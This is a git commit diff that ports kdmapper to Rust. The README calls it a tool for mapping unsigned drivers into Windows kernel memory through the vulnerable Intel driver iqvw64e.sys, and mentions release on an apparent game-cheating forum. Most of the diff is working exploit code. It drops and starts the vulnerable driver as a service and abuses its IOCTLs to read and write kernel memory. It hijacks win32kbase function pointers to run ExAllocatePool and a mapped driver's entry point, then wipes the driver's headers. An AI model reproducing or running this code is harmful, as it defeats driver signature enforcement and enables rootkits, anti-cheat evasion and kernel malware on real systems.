Finished porting, code works, more cleanup soon.

This commit is contained in:
Zor
2021-08-24 15:23:32 +02:00
parent 2713f1bbf0
commit c8c75c7457
10 changed files with 744 additions and 255 deletions
+1
View File
@@ -1 +1,2 @@
/target
/src/mapper/driver.sys
+2
View File
@@ -16,4 +16,6 @@ winapi = { version = "0.3", features = [
"winsvc",
"libloaderapi",
"ioapiset",
"fileapi",
"dbghelp",
] }
+7 -1
View File
@@ -1,8 +1,14 @@
# kdmapper-rs
Rust port of the popular kdmapper to manually map unloaded drivers in kernel-memory utilizing the vulnerable intel driver
# where is the driver?
I am 100% you have the driver somewhere, considering the fact it is a binary, I couldn't release the source to UC or any other site
if the repo contained binaries. So I removed it for that purpose. Note: It's location should be in `src/mapper/` with the name `driver.sys`
# warning
Currently still very much in development, I cannot guarantee ANY of this code will work. Good luck :)
Currently still very much in development, it runs on Windows 20H2 succesfully
!image_info[](img/fn.png)
# how to compile
```
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 7.5 KiB

+44 -3
View File
@@ -1,11 +1,52 @@
use winapi::{um::{errhandlingapi::GetLastError, handleapi::INVALID_HANDLE_VALUE}};
#[cfg(not(windows))]
compile_error!("Can't compile, this is exclusive to Windows.");
pub mod util;
pub mod mapper;
pub mod nt;
pub mod service;
pub mod pe;
pub mod service;
pub mod util;
fn main() {
println!("Hello, world!");
let service = mapper::load_service("iqvw64e.sys");
if service.is_null() || service == INVALID_HANDLE_VALUE {
unsafe {
println!(
"Failed to create a handle to the service! Last error code: {}",
GetLastError()
);
}
panic!("See logs for panic!")
}
if mapper::load_image_into_kernel(
service,
"C:\\Users\\Zor\\source\\repos\\TestDriver\\x64\\Release\\TestDriver.sys".to_string(),
) == 0
{
unsafe {
println!(
"Failed to load image into kernel! Last error code: {}",
GetLastError()
);
}
panic!("See logs for panic!")
}
println!("Loaded image into kernel!");
if !mapper::unload_service(service, "iqvw64e.sys\0") {
unsafe {
println!(
"Failed to unload service! Last error code: {}",
GetLastError()
);
}
panic!("See logs for panic!")
}
println!("Unloaded service!");
}
+305
View File
@@ -0,0 +1,305 @@
use core::panic;
use std::{intrinsics::transmute};
use winapi::{
shared::{
ntdef::NTSTATUS,
},
um::{
errhandlingapi::GetLastError,
fileapi::{CreateFileA, OPEN_EXISTING},
handleapi::CloseHandle,
memoryapi::{VirtualAlloc, VirtualFree},
winnt::{
FILE_ATTRIBUTE_NORMAL, GENERIC_READ, GENERIC_WRITE, HANDLE, IMAGE_NT_HEADERS, IMAGE_NT_OPTIONAL_HDR64_MAGIC,
IMAGE_REL_BASED_DIR64, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_READWRITE, PIMAGE_SECTION_HEADER,
},
},
};
use crate::{pe, service, util};
pub fn load_service(name: &str) -> HANDLE {
unsafe {
let temp_path = util::get_temporary_folder_path();
let mut driver_path = temp_path.as_os_str().to_os_string();
driver_path.push(name);
// export driver from buffer
if !util::create_driver_file(&driver_path.to_str().expect("Couldn't conver to Rust str!").to_string()) {
println!(
"Failed to create service file... return code: {}",
GetLastError()
);
panic!("See last output for more info.");
}
if !util::create_and_start_service(&driver_path.to_str().expect("Couldn't conver to Rust str!").to_string()) {
println!(
"Failed to create or start service... return code: {}",
GetLastError()
);
panic!("See last output for more info.");
}
let res = CreateFileA(
"\\\\.\\Nal\0".as_ptr() as _,
GENERIC_READ | GENERIC_WRITE,
0,
std::ptr::null_mut(),
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
std::ptr::null_mut(),
);
res
}
}
pub fn unload_service(service: HANDLE, name: &str) -> bool {
unsafe {
CloseHandle(service);
util::delete_and_stop_service(name);
let path_to_driver = util::get_path_to_driver();
match std::fs::remove_file(path_to_driver) {
Ok(_) => (),
Err(e) => println!("Failed to delete driver after unloading... {}", e),
}
true
}
}
pub fn relocate_image_by_delta(relocations: Vec<pe::RelocationInfo>, delta: u64) {
relocations.iter().for_each(|relocation| {
for i in 0..relocation.count {
let _type = unsafe { relocation.item.offset(i as isize).read() } >> 12;
let offset = unsafe { relocation.item.offset(i as isize).read() } & 0xFFF;
if _type == IMAGE_REL_BASED_DIR64 {
unsafe {
*((relocation.address + offset as u64) as *mut u64) += delta;
};
}
}
})
}
pub fn resolve_imports(service: HANDLE, mut imports: Vec<pe::ImportInfo>) -> bool {
unsafe {
imports.iter_mut().for_each(|import_info| {
let current_import_address =
util::get_kernel_module_address(import_info.name.to_owned());
if current_import_address == 0 {
println!(
"Required module {} was not found! Last error code: {}",
import_info.name,
GetLastError()
);
panic!("See last logs for panic!");
}
// import_info.function_info.iter_mut().for_each(|function_info| {
// let function_address = util::get_kernel_module_export(service, current_import_address as _, &function_info.name);
// if function_address == 0 {
// println!("Failed to resolve import {} from {}! Last error code: {}", function_info.name, import_info.name, GetLastError());
// panic!("See last logs for panic!");
// }
// function_info.address = function_address as _;
// })
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ lol!
for function_info in &mut import_info.function_info {
let function_address = util::get_kernel_module_export(
service,
current_import_address as _,
&function_info.name,
);
if function_address == 0 {
println!(
"Failed to resolve import {} from {}! Last error code: {}",
function_info.name,
import_info.name,
GetLastError()
);
panic!("See last logs for panic!");
}
function_info.get_address().write(function_address);
}
});
}
true
}
pub fn image_first_section(header: *mut IMAGE_NT_HEADERS) -> PIMAGE_SECTION_HEADER {
unsafe {
let field_offset =
|| (&(*header).OptionalHeader as *const _ as usize - header as usize) as usize;
((header as usize + field_offset()) + (*header).FileHeader.SizeOfOptionalHeader as usize)
as PIMAGE_SECTION_HEADER
}
}
pub fn load_image_into_kernel(service: HANDLE, file: String) -> u64 {
unsafe {
let mut buffer = Vec::new();
if !util::read_file_to_memory(&file, &mut buffer) {
println!(
"Failed to read file to memory! Last error code: {}",
GetLastError()
);
panic!("See last logs for panic!");
}
let image_headers = pe::get_nt_headers(buffer.as_mut_ptr());
if image_headers.is_null() {
println!("Invalid image headers! Last error code: {}", GetLastError());
panic!("See last logs for panic!");
}
if (*image_headers).OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC {
println!("Driver is not 64-bit! Last error code: {}", GetLastError());
panic!("See last logs for panic!")
}
let image_size = (*image_headers).OptionalHeader.SizeOfImage;
if image_size == 0 {
println!(
"Invalid driver image size! Last error code: {}",
GetLastError()
);
panic!("See last logs for panic!")
}
let local_image_memory = VirtualAlloc(
std::ptr::null_mut(),
image_size as _,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE,
);
if local_image_memory.is_null() {
println!(
"Failed to allocate local image memory! Last error code: {}",
GetLastError()
);
panic!("See last logs for panic!")
}
println!("Local driver memory allocated at: {:p}", local_image_memory);
std::ptr::copy(
buffer.as_ptr(),
local_image_memory as _,
(*image_headers).OptionalHeader.SizeOfHeaders as usize,
);
println!("Copied driver headers into local image memory");
let current_image_section = image_first_section(image_headers);
for i in 0..(*image_headers).FileHeader.NumberOfSections {
let local_section = (local_image_memory as usize
+ (*current_image_section.offset(i as isize)).VirtualAddress as usize)
as *mut i8;
std::ptr::copy(
(buffer.as_ptr() as usize
+ (*current_image_section.offset(i as isize)).PointerToRawData as usize)
as *const i8,
local_section,
(*current_image_section.offset(i as isize)).SizeOfRawData as usize,
)
}
println!("Copied image sections into local image memory.");
let kernel_image_memory = service::allocate_pool(service, 0, image_size as _);
if kernel_image_memory == 0 {
println!(
"Failed to allocate kernel image memory! Last error code: {}",
GetLastError()
);
panic!("See last logs for panic!")
}
println!(
"Kernel image memory allocated at {:p}",
kernel_image_memory as *mut i8
);
relocate_image_by_delta(
pe::get_relocations(local_image_memory as _).expect("Couldn't get relocations"),
kernel_image_memory - (*image_headers).OptionalHeader.ImageBase,
);
let imports = pe::get_imports(local_image_memory as _).expect("Couldn't get imports!");
if !resolve_imports(service, imports) {
println!(
"Failed to _resolve_ imports! Last error code: {}",
GetLastError()
);
panic!("See last logs for panic!")
}
if !service::write_memory(
service,
kernel_image_memory,
local_image_memory as _,
image_size as _,
) {
println!(
"Failed to write local image to kernel image! Last error code: {}",
GetLastError()
);
panic!("See last logs for panic!");
}
VirtualFree(local_image_memory, 0, MEM_RELEASE);
let entry_point =
kernel_image_memory + (*image_headers).OptionalHeader.AddressOfEntryPoint as u64;
println!(
"Calling image entry point at {:p}",
entry_point as *const i8
);
let mut status: NTSTATUS = 0;
if !util::call_kernel_fn(
service,
&mut |entry_point_address| {
status = transmute::<*mut usize, unsafe extern "system" fn() -> NTSTATUS>(
entry_point_address,
)();
true
},
entry_point,
) {
println!(
"Failed to call image entry point! Last error code: {}",
GetLastError()
);
}
service::set_memory(
service,
kernel_image_memory,
0,
(*image_headers).OptionalHeader.SizeOfHeaders as _,
);
return kernel_image_memory;
}
}
+32 -7
View File
@@ -1,6 +1,13 @@
use std::intrinsics::transmute;
use winapi::{shared::{minwindef::{FARPROC, ULONG}, ntdef::{HANDLE, NTSTATUS, PVOID, UCHAR, USHORT}}, um::libloaderapi::{GetModuleHandleA, GetProcAddress, LoadLibraryA}};
use winapi::{
ctypes::c_void,
shared::{
minwindef::{DWORD, FARPROC, ULONG},
ntdef::{HANDLE, NTSTATUS, PULONG, PVOID, UCHAR, USHORT},
},
um::libloaderapi::{GetModuleHandleA, GetProcAddress, LoadLibraryA},
};
#[repr(C)]
pub struct RtlProcessModuleInformation {
@@ -24,11 +31,20 @@ pub struct RtlProcessModules {
pub const STATUS_INFO_LENGHT_MISMATCH: u32 = 0xC0000004;
pub fn query_system_information(buffer: &mut usize, size: &mut u64) -> NTSTATUS {
let mut nt = unsafe { GetModuleHandleA("ntdll.dll".as_ptr() as *const i8) };
pub struct QuerySystemInformationReturnValue {
pub buffer: *mut c_void,
pub buffer_size: DWORD,
pub result: NTSTATUS,
}
pub fn query_system_information(
buffer: *mut c_void,
out_buffer_size: &mut DWORD,
) -> QuerySystemInformationReturnValue {
let mut nt = unsafe { GetModuleHandleA("ntdll.dll\0".as_ptr() as _) };
if nt.is_null() {
nt = unsafe { LoadLibraryA("ntdll.dll".as_ptr() as *const i8) };
nt = unsafe { LoadLibraryA("ntdll.dll\0".as_ptr() as _) };
if nt.is_null() {
panic!("Couldn't get handle to NTDLL.dll");
@@ -36,17 +52,26 @@ pub fn query_system_information(buffer: &mut usize, size: &mut u64) -> NTSTATUS
}
let query_system_info_address =
unsafe { GetProcAddress(nt, "NtQuerySystemInformation".as_ptr() as *const i8) };
unsafe { GetProcAddress(nt, "NtQuerySystemInformation\0".as_ptr() as *const i8) };
if query_system_info_address.is_null() {
panic!("Couldn't find NtQuerySystemInformation");
}
let query_system_info = unsafe {
transmute::<FARPROC, unsafe extern "system" fn(i32, *mut usize, u64, *const u64) -> NTSTATUS>(
transmute::<FARPROC, unsafe extern "system" fn(i32, *mut c_void, ULONG, PULONG) -> NTSTATUS>(
query_system_info_address,
)
};
unsafe { query_system_info(11, buffer as _, *size, size) }
let mut buffer_size: DWORD = *out_buffer_size;
let result = unsafe { query_system_info(11, buffer, buffer_size, &mut buffer_size as *mut _) };
*out_buffer_size = buffer_size;
QuerySystemInformationReturnValue {
buffer,
buffer_size,
result,
}
}
+67 -66
View File
@@ -8,26 +8,26 @@ use winapi::um::winnt::{
#[derive(Default)]
pub struct FunctionImportInfo {
name: String,
address: usize, // NOTE: apparently a pointer to an adress (so void*)
pub name: String,
pub address: usize, // NOTE: apparently a pointer to an adress (so void*)
}
impl FunctionImportInfo {
pub fn get_address(&self) -> *const u64 {
pub fn get_address(&self) -> *mut u64 {
self.address as _
}
}
pub struct RelocationInfo {
address: u64,
item: *const u16,
count: i32,
pub address: u64,
pub item: *const u16,
pub count: i32,
}
#[derive(Default)]
pub struct ImportInfo {
name: String,
function_info: Vec<FunctionImportInfo>,
pub name: String,
pub function_info: Vec<FunctionImportInfo>,
}
pub fn get_nt_headers(base: *mut u8) -> PIMAGE_NT_HEADERS64 {
@@ -117,66 +117,67 @@ pub fn get_imports(base: *mut u8) -> Option<Vec<ImportInfo>> {
return None;
}
let mut result = vec![];
unsafe {
let import_va = (*nt_headers).OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT as usize]
.VirtualAddress;
let mut current_import_descriptor = unsafe {
transmute::<usize, PIMAGE_IMPORT_DESCRIPTOR>(
base as usize
+ (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT as usize]
.VirtualAddress as usize,
)
};
while unsafe { (*current_import_descriptor).FirstThunk } != 0 {
let mut info = ImportInfo::default();
info.name = unsafe {
CStr::from_ptr(transmute::<usize, *const i8>(
base as usize + (*current_import_descriptor).Name as usize,
))
.to_str()
.unwrap_or_default()
.to_string()
};
let mut current_first_thunk = unsafe {
transmute::<usize, PIMAGE_THUNK_DATA64>(
base as usize + (*current_import_descriptor).FirstThunk as usize,
)
};
let mut current_original_first_thunks = unsafe {
transmute::<usize, PIMAGE_THUNK_DATA64>(
base as usize + *(*current_import_descriptor).u.OriginalFirstThunk() as usize,
)
};
while unsafe { *(*current_original_first_thunks).u1.Function() != 0 } {
let mut function_info: FunctionImportInfo = FunctionImportInfo::default();
let thunk_data = unsafe {
transmute::<usize, PIMAGE_IMPORT_BY_NAME>(
base as usize + *(*current_original_first_thunks).u1.AddressOfData() as usize,
)
};
function_info.name = unsafe {
CStr::from_ptr((*thunk_data).Name.as_ptr())
.to_str()
.unwrap_or_default()
.to_string()
};
function_info.address = unsafe { &*(*current_first_thunk).u1.Function() } as *const _ as usize;
info.function_info.push(function_info);
current_first_thunk = unsafe { current_first_thunk.offset(1) };
current_original_first_thunks = unsafe { current_first_thunk.offset(1) };
if import_va == 0 {
return None;
}
result.push(info);
current_import_descriptor = unsafe { current_import_descriptor.offset(1) };
}
let mut vec_imports = Vec::new();
Some(result)
let mut current_import_descriptor =
(base as usize + import_va as usize) as PIMAGE_IMPORT_DESCRIPTOR;
while (*current_import_descriptor).FirstThunk != 0 {
let mut import_info = ImportInfo::default();
import_info.name = CStr::from_ptr(
(base as usize + (*current_import_descriptor).Name as usize) as *const i8,
)
.to_str()
.expect("Couldn't convert to str")
.to_string();
let mut current_first_thunk = (base as usize
+ (*current_import_descriptor).FirstThunk as usize)
as PIMAGE_THUNK_DATA64;
let mut current_original_first_thunk = (base as usize
+ *(*current_import_descriptor).u.OriginalFirstThunk() as usize)
as PIMAGE_THUNK_DATA64;
while (*(*current_original_first_thunk).u1.Function()) != 0 {
let mut import_function_data = FunctionImportInfo::default();
let thunk_data = (base as usize
+ *(*current_original_first_thunk).u1.AddressOfData() as usize)
as PIMAGE_IMPORT_BY_NAME;
import_function_data.name = CStr::from_ptr((*thunk_data).Name.as_ptr())
.to_str()
.expect("couldn't convert to str")
.to_string();
import_function_data.address =
(*current_first_thunk).u1.Function_mut() as *mut u64 as usize;
import_info.function_info.push(import_function_data);
current_original_first_thunk = (current_original_first_thunk as usize
+ std::mem::size_of::<PIMAGE_THUNK_DATA64>())
as PIMAGE_THUNK_DATA64;
current_first_thunk = (current_first_thunk as usize
+ std::mem::size_of::<PIMAGE_THUNK_DATA64>())
as PIMAGE_THUNK_DATA64;
}
vec_imports.push(import_info);
current_import_descriptor = (current_import_descriptor as usize
+ std::mem::size_of::<PIMAGE_IMPORT_DESCRIPTOR>())
as PIMAGE_IMPORT_DESCRIPTOR;
}
Some(vec_imports)
}
}
+21 -17
View File
@@ -3,7 +3,7 @@ use std::intrinsics::transmute;
use winapi::{
ctypes::c_void,
shared::minwindef::DWORD,
shared::{basetsd::SIZE_T, minwindef::DWORD},
um::{ioapiset::DeviceIoControl, winnt::HANDLE},
};
@@ -68,7 +68,7 @@ pub fn copy_memory(service: HANDLE, destination: u64, source: u64, size: u64) ->
return false;
}
let mut buffer = CopyMemoryBufferInfo::default();
let mut buffer: CopyMemoryBufferInfo = unsafe { core::mem::zeroed() };
buffer.case_number = 0x33;
buffer.source = source;
buffer.destination = destination;
@@ -206,16 +206,20 @@ pub fn unmap_io_space(service: HANDLE, address: u64, size: u32) -> bool {
}
}
pub fn read_memory(service: HANDLE, address: u64, buffer: *mut usize, size: u64) -> bool {
copy_memory(service, buffer as _, address, size)
pub fn read_memory(service: HANDLE, address: u64, buffer: u64, size: u64) -> bool {
copy_memory(service, buffer, address, size)
}
pub fn write_memory(service: HANDLE, address: u64, buffer: *mut usize, size: u64) -> bool {
copy_memory(service, address, buffer as _, size)
pub fn write_memory(service: HANDLE, address: u64, buffer: u64, size: u64) -> bool {
copy_memory(service, address, buffer, size)
}
pub fn force_write_memory(service: HANDLE, address: u64, buffer: *mut usize, size: u32) -> bool {
if address == 0 || buffer.is_null() || size == 0 {
pub fn force_write_memory(service: HANDLE, address: u64, buffer: u64, size: u32) -> bool {
if address == 0 || buffer == 0 || size == 0 {
println!(
"requirements not met! {:x} -> {:x} -> {:x}",
address, buffer, size
);
return false;
}
@@ -223,7 +227,7 @@ pub fn force_write_memory(service: HANDLE, address: u64, buffer: *mut usize, siz
if !get_physical_address(service, address, &mut physical_address) {
panic!("Failed to translate virtual address!");
}
};
let mapped_physical_mem = map_io_space(service, physical_address, size);
@@ -242,7 +246,7 @@ pub fn force_write_memory(service: HANDLE, address: u64, buffer: *mut usize, siz
type ExAllocatePoolFn = unsafe extern "system" fn(i32, usize) -> *mut usize;
pub fn allocate_pool(service: HANDLE, pool_type: i32, size: u64) -> u64 {
pub fn allocate_pool(service: HANDLE, pool_type: i32, size: SIZE_T) -> u64 {
if size == 0 {
return 0;
}
@@ -251,11 +255,10 @@ pub fn allocate_pool(service: HANDLE, pool_type: i32, size: u64) -> u64 {
unsafe {
if KERNEL_EX_ALLOCATE_POOL == 0 {
KERNEL_EX_ALLOCATE_POOL = get_kernel_module_export(
service,
get_kernel_module_address("ntoskrnl.exe") as _,
"ExAllocatePool",
);
let base = get_kernel_module_address("ntoskrnl.exe".to_string());
KERNEL_EX_ALLOCATE_POOL =
get_kernel_module_export(service, base as _, "ExAllocatePool");
}
let mut allocated_pool: u64 = 0;
@@ -265,14 +268,15 @@ pub fn allocate_pool(service: HANDLE, pool_type: i32, size: u64) -> u64 {
&mut |address| {
allocated_pool =
(transmute::<*mut usize, ExAllocatePoolFn>(address))(pool_type, size as _) as _;
true
},
KERNEL_EX_ALLOCATE_POOL,
) {
println!("call kernel fn failed!");
return 0;
}
println!("Allocated pool: {:x}", allocated_pool);
allocated_pool
}
}
@@ -290,7 +294,7 @@ pub fn free_pool(service: HANDLE, addy: u64) -> bool {
if KERNEL_EX_FREE_POOL == 0 {
KERNEL_EX_FREE_POOL = get_kernel_module_export(
service,
get_kernel_module_address("ntoskrnl.exe") as _,
get_kernel_module_address("ntoskrnl.exe".to_string()) as _,
"ExFreePool",
);
}
+264 -160
View File
@@ -1,12 +1,18 @@
use core::panic;
use std::{
ffi::{CStr, CString},
ffi::CStr,
io::{Read, Write},
path::{Path, PathBuf},
};
use winapi::{
shared::ntdef::NT_SUCCESS,
ctypes::c_void,
shared::{
minwindef::DWORD,
ntdef::{NT_SUCCESS, ULONG},
},
um::{
errhandlingapi::SetLastError,
libloaderapi::{GetProcAddress, LoadLibraryA},
memoryapi::{VirtualAlloc, VirtualFree},
winnt::{
@@ -23,31 +29,37 @@ use winapi::{
},
};
pub static DRIVER_NAME: &str = "iqvw64e.sys\0";
use crate::{
nt,
nt::{self, RtlProcessModuleInformation},
service::{self, force_write_memory, read_memory},
util,
};
pub fn create_file_from_memory(file: &str, address: usize, size: usize) -> bool {
let mut file = std::fs::File::create(file).expect("Couldn't create/open file!");
pub fn get_temporary_folder_path() -> PathBuf {
std::env::temp_dir()
}
let mut data = vec![0u8; size]; // spawn a buffer size of the memory
unsafe {
std::ptr::copy(
address as *const i8,
data.as_mut_ptr() as *mut _,
data.len(),
)
};
pub fn get_path_to_driver() -> PathBuf {
let mut path = get_temporary_folder_path();
path.push(DRIVER_NAME.strip_suffix('\0').unwrap());
file.write_all(data.as_slice())
.expect("Couldn't write file");
path
}
pub fn create_driver_file(file: &String) -> bool {
let mut file = std::fs::File::create(Path::new(file)).expect("Couldn't create/open file!");
// Thank god for this macro!
let driver = include_bytes!("../mapper/driver.sys");
file.write_all(driver).expect("Couldn't write file");
true
}
pub fn read_file_from_memory(file: &str, buffer: &mut Vec<u8>) -> bool {
pub fn read_file_to_memory(file: &String, buffer: &mut Vec<u8>) -> bool {
let mut file = std::fs::File::open(file).expect("Couldn't open file");
file.read_to_end(buffer).expect("Couldn't read file");
@@ -55,15 +67,19 @@ pub fn read_file_from_memory(file: &str, buffer: &mut Vec<u8>) -> bool {
true
}
pub fn create_and_start_service(file: &str) -> bool {
let filename = CString::new(
std::path::Path::new(file)
.file_name()
.expect("Couldn't get filname")
.to_str()
.expect("Couldn't convert to str"),
)
.expect("Couldn't convert to CString");
pub fn create_and_start_service(file: &String) -> bool {
let mut filename = std::path::Path::new(file)
.file_name()
.expect("Couldn't get filname")
.to_str()
.expect("Couldn't convert to str")
.to_string();
filename.push('\0');
println!("File name: {}", filename);
let mut actual_file_path = file.to_owned();
actual_file_path.push('\0');
let manager = unsafe {
OpenSCManagerA(
@@ -80,13 +96,13 @@ pub fn create_and_start_service(file: &str) -> bool {
let mut service = unsafe {
CreateServiceA(
manager,
filename.as_ptr(),
filename.as_ptr(),
DRIVER_NAME.as_ptr() as _,
DRIVER_NAME.as_ptr() as _,
SERVICE_START | SERVICE_STOP | DELETE,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
file.as_ptr() as *const i8,
actual_file_path.as_ptr() as _,
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
@@ -98,7 +114,7 @@ pub fn create_and_start_service(file: &str) -> bool {
if service.is_null() {
println!("Unable to create service, attempting to open instead");
service = unsafe { OpenServiceA(manager, filename.as_ptr(), SERVICE_START) };
service = unsafe { OpenServiceA(manager, filename.as_ptr() as _, SERVICE_START) };
if service.is_null() {
unsafe { CloseServiceHandle(manager) };
@@ -152,14 +168,14 @@ pub fn delete_and_stop_service(name: &str) -> bool {
result
}
pub fn get_kernel_module_address(name: &str) -> usize {
let mut buffer: usize = 0;
let mut buffer_size = 0u64;
pub fn get_kernel_module_address(name: String) -> u64 {
let mut buffer: *mut c_void = std::ptr::null_mut();
let mut buffer_size: DWORD = 0;
let mut system_info = nt::query_system_information(&mut buffer, &mut buffer_size);
let mut system_info = nt::query_system_information(buffer, &mut buffer_size);
while system_info as u32 == nt::STATUS_INFO_LENGHT_MISMATCH {
unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) };
while system_info.result as u32 == nt::STATUS_INFO_LENGHT_MISMATCH {
unsafe { VirtualFree(buffer, 0, MEM_RELEASE) };
buffer = unsafe {
VirtualAlloc(
@@ -169,40 +185,56 @@ pub fn get_kernel_module_address(name: &str) -> usize {
PAGE_READWRITE,
)
} as _;
system_info = nt::query_system_information(&mut buffer, &mut buffer_size);
system_info = nt::query_system_information(buffer, &mut buffer_size);
}
if !NT_SUCCESS(system_info) {
unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) };
return 0usize;
if !NT_SUCCESS(system_info.result) {
unsafe { VirtualFree(system_info.buffer, 0, MEM_RELEASE) };
return 0u64;
}
let modules: nt::RtlProcessModules = unsafe { (buffer as *mut nt::RtlProcessModules).read() };
let modules = buffer as *mut nt::RtlProcessModules;
for i in 0..modules.number_of_modules {
let module_name = unsafe {
CStr::from_ptr(
(modules.modules[i as usize].full_path_name.as_ptr() as usize
+ modules.modules[i as usize].offset_to_file_name as usize)
as _,
)
.to_str()
.expect("Couldn't parse name")
.to_string()
};
unsafe {
for i in 0..(*modules).number_of_modules {
let current_module = (buffer as usize
+ std::mem::size_of::<ULONG>()
+ i as usize * std::mem::size_of::<RtlProcessModuleInformation>())
as *mut RtlProcessModuleInformation;
if module_name.eq(name) {
let result = modules.modules[i as usize].image_base as usize;
let module_name = String::from_utf8(
(*current_module)
.full_path_name
.iter()
.skip(4)
.map(|i| *i as u8)
.take_while(|&i| i as char != char::from(0))
.collect(),
);
unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) };
if !module_name.is_ok() {
continue;
}
return result;
let actual_name = module_name.unwrap();
let image_base_test =
current_module as usize + std::mem::size_of::<*mut c_void>() * 2usize;
if actual_name.contains(&name) {
let result = ((image_base_test + 4usize) as *mut u64).read();
VirtualFree(buffer as _, 0, MEM_RELEASE);
// Due to call earlier we get an invalid address error-code, we can just clear it and ignore it.
SetLastError(0);
return result;
}
}
}
unsafe { VirtualFree(buffer as _, 0, MEM_RELEASE) };
0usize
0u64
}
pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_name: &str) -> u64 {
@@ -219,13 +251,16 @@ pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_nam
&mut dos_header as *mut IMAGE_DOS_HEADER as _,
std::mem::size_of::<IMAGE_DOS_HEADER>() as _,
) || dos_header.e_magic != IMAGE_DOS_SIGNATURE
|| !service::read_memory(
service,
kernel_module_base + dos_header.e_lfanew as u64,
&mut nt_header as *mut IMAGE_NT_HEADERS64 as _,
std::mem::size_of::<IMAGE_NT_HEADERS64>() as _,
)
|| nt_header.Signature != IMAGE_NT_SIGNATURE
{
return 0;
}
if !service::read_memory(
service,
kernel_module_base + dos_header.e_lfanew as u64,
&mut nt_header as *mut IMAGE_NT_HEADERS64 as _,
std::mem::size_of::<IMAGE_NT_HEADERS64>() as _,
) || nt_header.Signature != IMAGE_NT_SIGNATURE
{
return 0;
}
@@ -260,17 +295,25 @@ pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_nam
let delta = export_data as u64 - export_base as u64;
let name_table = unsafe { ((*export_data).AddressOfNames + delta as u32) as *mut u32 };
let name_table = unsafe { ((*export_data).AddressOfNames as u64 + delta) as *mut u32 };
let ordinal_table =
unsafe { ((*export_data).AddressOfNameOrdinals + delta as u32) as *mut u16 };
let function_table = unsafe { ((*export_data).AddressOfFunctions + delta as u32) as *mut u32 };
unsafe { ((*export_data).AddressOfNameOrdinals as u64 + delta) as *mut u16 };
let function_table = unsafe { ((*export_data).AddressOfFunctions as u64 + delta) as *mut u32 };
for i in 0..unsafe { (*export_data).NumberOfNames } as isize {
let current_function_name =
unsafe { CStr::from_ptr((name_table.offset(i).read() as u64 + delta) as _) }
// let current_function_name =
// unsafe { CString::from_raw((name_table.offset(i).read() as u64 + delta) as _) }
// .to_str()
// .expect("Couldn't convert to str")
// .to_string();
let name_ptr = unsafe { name_table.offset(i).read() as u64 + delta } as *mut char;
let current_function_name = unsafe {
CStr::from_ptr(name_ptr as _)
.to_owned()
.to_str()
.expect("Couldn't convert to str")
.to_string();
.unwrap()
.to_string()
};
if current_function_name.eq(fn_name) {
let fn_ordinal = unsafe { ordinal_table.offset(i).read() };
@@ -290,7 +333,7 @@ pub fn get_kernel_module_export(service: HANDLE, kernel_module_base: u64, fn_nam
}
unsafe { VirtualFree(export_data as _, 0, MEM_RELEASE) };
panic!("Couldn't find export...");
panic!("Couldn't find export: {}...", fn_name);
}
pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info(
@@ -306,7 +349,7 @@ pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info(
if unsafe { KERNEL_FUNCTION_PTR == 0 || KERNEL_ORIGINAL_FUNCTION_ADDRESS == 0 } {
let nt_gdi_ddi_reclaim_allocations2 = get_kernel_module_export(
service,
util::get_kernel_module_address("win32kbase.sys") as _,
util::get_kernel_module_address("win32kbase.sys".to_string()) as _,
"NtGdiDdDDIReclaimAllocations2",
);
@@ -321,7 +364,7 @@ pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info(
if !read_memory(
service,
kernel_function_ptr_offset_address,
&mut function_ptr_offset,
&mut function_ptr_offset as *mut _ as u64,
std::mem::size_of::<usize>() as _,
) {
return false;
@@ -335,7 +378,7 @@ pub fn get_nt_gdi_dd_ddl_reclaim_allocations_info(
!read_memory(
service,
KERNEL_FUNCTION_PTR,
&mut KERNEL_ORIGINAL_FUNCTION_ADDRESS as *mut u64 as *mut _,
&mut KERNEL_ORIGINAL_FUNCTION_ADDRESS as *mut _ as u64,
std::mem::size_of::<u64>() as _,
)
} {
@@ -362,7 +405,7 @@ pub fn get_nt_gdi_get_copp_compatible_opm_information_info(
let nt_gdi_get_copp_compatible_opm_information_info = get_kernel_module_export(
service,
get_kernel_module_address("win32kbase.sys") as _,
get_kernel_module_address("win32kbase.sys".to_string()) as _,
"NtGdiGetCOPPCompatibleOPMInformation",
);
@@ -370,17 +413,19 @@ pub fn get_nt_gdi_get_copp_compatible_opm_information_info(
println!("Unable to find NtGdiGetCOPPCompatibleOPMInformation");
return false;
}
unsafe { KERNEL_FUNCTION_PTR = nt_gdi_get_copp_compatible_opm_information_info };
unsafe {
KERNEL_FUNCTION_PTR = nt_gdi_get_copp_compatible_opm_information_info;
}
if unsafe {
!read_memory(
service,
KERNEL_FUNCTION_PTR,
KERNEL_ORIGINAL_BYTES.as_mut_ptr() as *mut _,
KERNEL_ORIGINAL_BYTES.as_mut_ptr() as *mut _ as u64,
(std::mem::size_of::<u8>() * KERNEL_ORIGINAL_BYTES.len() as usize) as _,
)
} {
println!("ReadMemory failed!!");
return false;
}
}
@@ -397,113 +442,172 @@ pub fn get_nt_gdi_get_copp_compatible_opm_information_info(
true
}
// Since rust doesn't support variadic arguments as of now, we will return a pointer to the function, we have no choice.
// Smart way to do this eh?
pub fn call_kernel_fn(
service: HANDLE,
call_function: &mut dyn FnMut(*mut usize) -> bool,
mut kernel_function_address: u64,
kernel_function_address: u64,
) -> bool {
if kernel_function_address == 0 {
return false;
panic!("Kernel export apparently 0? What are we gonna do about it?");
}
